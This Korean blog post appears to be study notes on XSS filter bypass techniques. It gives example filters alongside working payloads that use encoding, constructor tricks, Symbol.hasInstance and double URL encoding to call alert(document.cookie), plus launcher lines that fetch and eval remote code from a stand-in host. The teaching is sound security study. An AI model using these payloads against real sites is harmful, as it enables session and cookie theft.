1. 이벤트 핸들러 속성
- 자바스크립트 코드를 실행할 수 있는 HTML 태그는 <script> 이외에도 상당수 존재한다.
- 보통 태그의 속성 값으로 스크립트를 포함할 수 있는 경우가 다수 존재하며, 이벤트 핸들러를 지정하는 on으로 시작하는 속성들이 있다.
- 이벤트 핸들러란 특정 요소에서 발생하는 이벤트를 처리하기 위해 존재하는 콜백 형태의 핸들러 함수이다. 따라서 이벤트 핸들러 내에 XSS 공격 코드를 삽입해두면 해당 이벤트가 발생했을 때 XSS 공격 코드가 실행된다.
- 태그의 속성 값으로 들어가는 이벤트 핸들러의 종류는 굉장히 다양하며 각 이벤트가 발생하는 원리도 다양하다.
- 자세한 정보는 Mozilla Developer Network에서 확인해볼 수 있다.
- 자주 사용되는 이벤트 핸들러 속성으로 onload와 onerror, onfocus가 있다.
2. 문자열 치환
- 단순히 의심되는 구문을 제거할 경우 필터링되는 키워드 사이에 새로운 필터링 키워드를 삽입하는 방식으로 우회하는 것이 가능하다.
- 예를 들어 script 라는 키워드를 제거하는 방식의 필터링이 적용되어 있다면, scrscriptipt와 같이 제거되는 키워드를 중간에 삽입하는 것이다. 이 경우 중간에 삽입된 키워드가 제거되면서 다시 원본 키워드를 만들어내는 방식으로 우회할 수 있다.
- 대응 방안으로 흔히 다음과 같이 문자열에 변화가 없을 때까지 지속적으로 치환하는 방식이 사용된다.
- 특정 키워드가 최종 마크업에 등장하지 않도록 하는 데에는 효과적일 수 있지만 미처 고려하지 못한 구문의 존재, WAF 방어 무력화 등은 동일하다.
3. 활성 하이퍼링크
- HTML 마크업에서 사용될 수 있는 URL들은 활성 콘텐츠를 포함할 수 있다.
- 이 중 javascript: 스키마는 URL 로드 시 자바스크립트 코드를 실행할 수 있도록 한다.
- URL을 속성 값으로 받는 a 태그나 iframe 태그 등에 사용할 수 있다.
- 이 때문에 XSS 키워드를 필터링할 때 javascript: 스키마를 사용하지 못하도록 필터링하는 경우가 존재한다.
ㄴ 이러한 경우, 브라우저들이 URL을 사용할 때 거치는 과정 중 하나인 정규화(Normalization)를 이용해 우회할 수 있다. 정규화는 동일한 리소스를 나타내는 서로 다른 URL들을 통일된 형태로 변환하는 과정이다. 이 과정에서 \x01, \x04, \t와 같은 특수 문자들이 제거되고, 스키마의 대소문자가 통일된다.
<a href="\1\4jAVasC\triPT:alert(document.domain)">Click me!</a>
<iframe src="\1\4jAVasC\triPT:alert(document.domain)">
ㄴ HTML 태그의 속성 내에서는 HTML Entity Encoding을 사용할 수 있다. 이를 이용해 javascript: 스키마나 이 외의 XSS 키워드를 인코딩하여 필터링을 우회하는 경우도 존재한다.
<a href="\1JavasCr\tip&tab;:alert(document.domain);">Click me!</a>
<iframe src="\1JavasCr\tip&tab;:alert(document.domain);">
▶ 자바스크립트에서는 URL 객체를 통해 URL을 직접 정규화할 수 있으며, protocol, hostname 등 URL의 각종 정보를 추출할 수 있다. XSS 필터링 우회 공격 구문을 작성하기 위해 직접 URL을 정규화해보며 테스트하는 것이 가능하다.
4. 태그와 속성 기반 필터링
1) 대문자 혹은 소문자만을 인식하는 필터 우회
2) 잘못된 정규표현식을 사용하는 경우, 필터 우회
3) 특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회
- script/img/input 태그 이외에도 XSS 공격이 가능하다.
- iframe 태그를 이용해 우회할 수 있으며, srcdoc 속성을 이용해 inner frame 내에 새로운 XSS 공격 코드를 입력하는 것도 가능하다.
(단, 해당 XSS 페이로드 스크립트는 iframe안에서 호출되므로 스크립트가 호출되는 영역의 상위 문서에 존재하는 alert를 호출해야 할 때는 parent.alert 등을 이용한다.)
5. 자바스크립트 함수 및 키워드 필터링
- 필터링 혹은 인코딩/디코딩 등의 이유로 특정 문자( (),[],",' 등)를 사용하지 못하는 경우가 있다. 자바스크립트는 다양한 문법을 지원하는 언어로써 해당 문자를 대체할 수 있는 방법들을 통해 우회하여 공격할 수 있다.
1) 자바스크립트는 Unicode escape sequence을 지원한다.
- Unicode escape sequence은 "\uAC00" == "가"와 같이 문자열에서 유니코드 문자를 코드포인트로 나타낼 수 있는 표기법이다.
var foo = "\u0063ookie"; // cookie
var bar = "cooki\x65"; // cookie
\u0061lert(document.cookie); // alert(document.cookie)
2) 자바스크립트는 Computed member access를 지원한다.
- Computed member access는 아래와 같이 객체의 특정 속성에 접근할 때 속성 이름을 동적으로 계산하는 기능이다.
- 이를 통해 필터링된 속성 값을 문자열을 이용해 접근하고 문자열을 자르거나 변형하는 등의 우회가 가능하다.
document["coo"+"kie"] == document["cookie"] == document.cookie
alert(document["\u0063ook" + "ie"]); // alert(document.cookie)
window['al\x65rt'](document["\u0063ook" + "ie"]); // alert(document.cookie)
▶ XSS 공격 구문의 자바스크립트 키워드를 필터링한 경우에는 우회할 수 있는 방법이 굉장히 다양하다.
구문 | 대체 구문 |
alert, XMLHttpRequest 등 문서 최상위 객체 및 함수 | window['al'+'ert'], window['XMLHtt'+'pRequest'] 등 이름 끊어서 쓰기 ex) this['al'+'ert'](this['docu'+'ment']['coo'+'kie']); |
window | self, this ex) this['al'+'ert'](this['docu'+'ment']['coo'+'kie']); |
eval(code) | Function(code)() |
Function | isNaN['constr'+'uctor'] 등 함수의 constructor 속성 접근 (클래스의 consturctor 속성을 이용하는 방법으로 직접 클래스를 만드는 방식도 된다.) ex) Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')]( decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))(); 또는 Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))(); |
▶ 극단적인 사례로 자바스크립트의 언어적 특성을 활용하면 6개의 문자([, ], (, ), !, +)만으로 모든 동작을 수행할 수 있다.
(JSFxxx : https://namu.wiki/w/JSFuck)
3) 문자열 선언
- 만약 문자열을 사용할 때 필요한 따옴표 (", ')가 필터링되어 있다면 템플릿 리터럴 (Template Literals)을 사용할 수 있다.
- 템플릿 리터럴은 내장된 표현식을 허용하는 문자열 리터럴이며, 여러 줄의 문자열과 문자를 보관하기 위한 기능으로 이용할 수 있다.
- 템플릿 리터럴은 백틱 (`)을 이용해 선언할 수 있으며 내장된 ${} 표현식을 이용해 다른 변수나 식을 사용할 수 있다.
var foo = "Hello";
var bar = "World";
var baz = `${foo},
${bar} ${1+1}.`; // "Hello,\nWorld 2."
- 따옴표와 백틱을 모두 사용하지 못하는 경우에는 다음과 같은 방법들을 사용할 수 있다.
1) RegExp 객체 사용하기 : /Hello World!/ 형태로 RegExp 객체를 생성하고 객체의 패턴 부분을 가져옴으로써 문자열을 만들 수 있다.
var foo = /Hello World!/.source; // "Hello World!"
var bar = /test !/ + []; // "/test !/"
2) String.fromCharCode 함수 사용 : 유니코드의 범위 중 파라미터로 전달된 수에 해당 하는 문자를 반환한다.
var foo = String.fromCharCode(72, 101, 108, 108, 111); // "Hello"
3) 기본 내장 함수나 객체의 문자를 사용하는 방법 : 내장 함수나 객체를 toString 함수를 이용해 문자열로 변경하게 되면 함수나 객체의 형태가 문자열로 변환된다. 원하는 문자열을 만드는데 필요한 문자들을 내장 함수나 객체로부터 한 글자씩 가져와 문자열을 만들 수 있다.
var baz = history.toString()[8] + // '[object History]'[8] -> "H"
(history+[])[9] + // '[object History]'[9] -> "i"
(URL+0)[12] + // 'function URL() { [native code] }0'[12] -> "("
(URL+0)[13]; // 'function URL() { [native code] }0'[13] -> ")"
==> "Hi()"
4) 숫자 객체의 진법 변환 : 10진수 숫자를 36진수로 변경하여 아스키 영어 소문자 범위를 모두 생성할 수 있다.
문법 오류를 피하기 위해 괄호를 이용하거나, 점 두 개를 쓰거나, 소수점으로 인식되지 않도록 공백과 점을 조합해 사용할 수 있다.
(https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Global_Objects/Object/toString)
var foo = (29234652).toString(36); // "hello"
var foo = 29234652..toString(36); // "hello"
var bar = 29234652 .toString(36); // "hello"
4) 함수 호출
- 일반적으로 자바스크립트의 함수를 호출하기 위해서는 소괄호 (Parentheses, ()) 또는 Tagged Templates (백틱, `)을 사용해야 한다
- 만약 소괄호와 백틱 문자가 모두 필터링 되어있는 경우, 다음과 같은 방법들로 우회할 수 있다.
- 일반적인 함수 호출 방법
alert(1); // Parentheses
alert`1`; // Tagged Templates
1) javascript 스키마를 이용한 location 변경
- javascript: 스키마를 이용하면 URL을 이용해 자바스크립트 코드를 실행시킬 수 있다.
- 이를 이용해 현재 location 객체를 변조하는 방식으로 자바스크립트 코드를 실행하는 것이 가능하다.
location="javascript:alert\x28document.domain\x29;";
location.href="javascript:alert\u0028document.domain\u0029;";
location['href']="javascript:alert\050document.domain\051;";
2) Symbol.hasInstance 오버라이딩
- 자바스크립트에서는 문자열 이외에도 ECMAScript 6에서 추가된 Symbol 또한 속성 명칭으로 사용할 수 있다.
- Symbol.hasInstance well-known symbol을 이용하면 instanceof 연산자를 오버라이드(재정의)할 수 있다.
- 즉, O instanceof C를 연산할 때 C에 Symbol.hasInstance 속성에 함수가 있을 경우 메소드로 호출하여 instanceof 연산자의 결과 값으로 사용하게 된다.
- 이 특성을 이용해 instanceof를 연산하게 되면 실제 인스턴스 체크 대신 원하는 함수를 메소드로 호출되도록 할 수 있다.
"alert\x28document.domain\x29"instanceof{[Symbol.hasInstance]:eval};
Array.prototype[Symbol.hasInstance]=eval;"alert\x28document.domain\x29"instanceof[];
3) document.body.innerHTML 추가
- 자바스크립트에서는 문서 내에 새로운 HTML 코드를 추가하는 것이 가능하다.
-document.body.innerHTML 에 코드를 추가할 경우 새로운 HTML 코드가 문서에 추가되고, 이를 이용해 자바스크립트 코드를 실행할 수 있다.
- 주의할 점은 innerHTML로 HTML 코드를 실행할 때에는 보안 상 <script> 태그를 삽입해도 실행되지 않습니다. 따라서 이벤트 핸들러를 이용해 자바스크립트 코드를 실행해야 한다.
document.body.innerHTML+="<img src=x: onerror=alert(1)>";
document.body.innerHTML+="<body src=x: onload=alert(1)>";
6. 예제
1)
function XSSFilter(data){
if(data.includes('script')){
return false;
}
return true;
}
/*
"script" 문자열이 포함되어 있는지 확인하는 필터링이다.
하지만 대소문자에 대한 검증이 충분하지 않기 때문에 대소문자를 혼용하여 필터를 우회할 수 있다.
*/
<sCRipT>alert(document.domain);</scriPT>
2)
function XSSFilter(data){
if(data.toLowerCase().includes('script')){
return false;
}
return true;
}
/*
입력된 data를 소문자로 변환한 후 "script" 문자열이 포함되어 있는지 확인하는 필터링이다.
"script" 태그 외에도 스크립트를 실행 시킬 수 있는 태그들의 이벤트 핸들러를 사용하여 우회할 수 있다.
*/
<img src=about: onerror=alert(document.domain)>
<svg src=about: onload=alert(document.domain)>
<body onload=alert(document.domain)>
<video><source onerror=alert(document.domain)></video>
3)
function XSSFilter(data){
if(data.toLowerCase().includes('script') ||
data.toLowerCase().includes('on')){
return false;
}
return true;
}
/*
입력된 data를 소문자로 변환한 후 "script" 문자열과 "on" 문자열이 포함되어 있는지 확인하는 필터링이다.
script 태그와 on* 이벤트핸들러 외에도 XSS으로 사용될 수 있는 태그들을 이용하면 된다.
*/
<iframe srcdoc='<img src=about: onerror=parent.alert(document.domain)>'></iframe>
/*
"parent.alert" 를 호출하는 이유는?
해당 XSS 페이로드 스크립트는 iframe안에서 호출된다.
문제를 풀기 위해 alert를 호출하려면, 스크립트가 호출되는 영역의 상위 문서에 존재하는 alert를 호출해야 한다.
*/
4)
function XSSFilter(data){
if(/alert|window|document/.test(data)){
return false;
}
return true;
}
/* "alert", "window" 또는 "document" 문자열이 포함되어 있는지 확인하는 필터링이다.
* 하지만 this[propertyKey] 문법을 이용해 쉽게 우회가 가능하다.
* 또는 유니코드로 문자를 바꾸는 식으로도 우회가 가능하다.
*/
this['al'+'ert'](this['docu'+'ment']['coo'+'kie']);
5)
function XSSFilter(data){
if(/alert|window|document|eval|cookie|this|self|parent|top|opener|function|[\-+\\<>{}=]/i.test(data)){
return false;
}
return true;
}
/* 주요 키워드 이외에도 특수문자 등을 탐지한다.
* decodeURI, atob와 constructor 속성을 함께 사용하면 원하는 임의의 코드를 실행할 수 있다.
*/
text to hex 활용...
// %63%6F%6E%73%74%72%75%63%74%6F%72 -> constructor
// %61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29 -> alert(document.cookie)
Boolean[decodeURI('%63%6F%6E%73%74%72%75%63%74%6F%72')](
decodeURI('%61%6C%65%72%74%28%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%29'))();
또는
Boolean[atob('Y29uc3RydWN0b3I')](atob('YWxlcnQoZG9jdW1lbnQuY29va2llKQ'))();
6)
function XSSFilter(data){
if(/[()"'`]/img.test(data)){
return false;
}
return true;
}
/*
(, ), ", ', ` 문자들에 대해 탐지하는 필터링이다.
앞서 배운 방법들을 조합하여 필터링을 우회할 수 있다.
*/
- RegExp 객체 사용
- 내장 함수 및 객체를 String으로 변환
- Symbol.hasInstance 오버라이딩
/alert/.source+[URL+[]][0][12]+/document.cookie/.source+[URL+[]][0][13] instanceof{[Symbol.hasInstance]:eval};
또는
- RegExp 객체 사용
- 내장 함수 및 객체를 String으로 변환
- javascript 스키마를 이용한 location 변경
location=/javascript:/.source + /alert/.source + [URL+0][0][12] + /document.cookie/.source + [URL+0][0][13];
7. 디코딩 전 필터링
- 본래 입력 검증은 디코딩 등의 모든 전처리 작업을 마치고 수행해야 한다. 즉, 검증이 끝난 데이터를 디코딩하여 사용해서는 안 된다.
그러한 경우 공격자가 더블 인코딩(Double Encoding)으로 검증을 쉽게 우회할 수 있다.
ex)
공격자(Attacker)가 게시글에 공격 코드 <script>(이하 생략)를 포함하여 게시판에 올리고, 희생자(Victim)가 해당 글을 읽는 시나리오
1. 공격자가 더블 URL 인코딩한 공격 코드 %253Cscript%253E(이하 생략)를 포함하여 게시글 업로드를 요청한다.
2. 웹 방화벽이 해당 데이터를 디코딩 후 검증합니다. 디코딩한 결과인 %3Cscript%3E(이하 생략)는 안전하다고 판단하여 차단하지 않고 애플리케이션에 전달한다.
3. 애플리케이션이 해당 데이터를 또 디코딩해서 <script>(이하 생략)를 게시판 DB에 저장한다.
4. 희생자가 해당 게시글을 읽으면 XSS가 발생하여 악성 자바스크립트 코드가 실행된다.
- 이처럼 웹 방화벽의 검증 이후 다시 디코딩할 경우, 공격자는 더블 URL 인코딩으로 웹 방화벽 검증을 우회할 수 있다.
- 마찬가지로 애플리케이션 내부의 검증 로직 이후에도 디코딩을 하면 안 된다.
- 만약 php 애플리케이션 코드에 더블 디코딩(Double Decoding) 취약점이 존재하면, 이 역시 더블 URL 인코딩을 이용해 우회하는 것이 가능하다.
8. 길이 제한
- 삽입할 수 있는 코드의 길이가 제한되어 있는 경우, 다른 경로로 실행할 추가적인 코드(payload)를 URL fragment 등으로 삽입 후 삽입 지점에는 본 코드를 실행하는 짧은 코드 (launcher)를 사용할 수 있다.
- Fragment로 스크립트를 넘겨준 후 XSS 지점에서 location.hash 로 URL의 Fragment 부분을 추출하여 eval()로 실행하는 기법이 흔히 사용된다.
▶ example.com : example.com, example.net, example.org, example.edu는 도메인 이름을 사용할 때의 문서화 목적 및 예제를 위해 예비된 2단계 도메인 네임이다.
- 그 외에도 쿠키에 페이로드를 저장하는 방식과 import 와 같은 외부 자원을 스크립트로 로드하는 방법 또한 사용할 수 있다.
1) location.hash 이용
https://example.com/?q=<img onerror="eval(location.hash.slice(1))">#alert(document.cookie);
2) 외부 자원을 이용한 공격 방식
import("http://malice.dreamhack.io");
var e = document.createElement('script')
e.src='http://malice.dreamhack.io';
document.appendChild(e);
fetch('http://malice.dreamhack.io').then(x=>eval(x.text()))
'프로그래밍 > 해킹' 카테고리의 다른 글
IDA 사용법 (0) | 2024.08.03 |
---|---|
XSS Filtering Bypass 실습 문제 (0) | 2024.07.22 |
File Vulnerability Advanced for linux & Apache htaccess (0) | 2024.07.20 |
Command Injection Advanced 실습 문제 (0) | 2024.07.17 |
ExploitTech: Command Injection Vulnerability cases (0) | 2024.07.16 |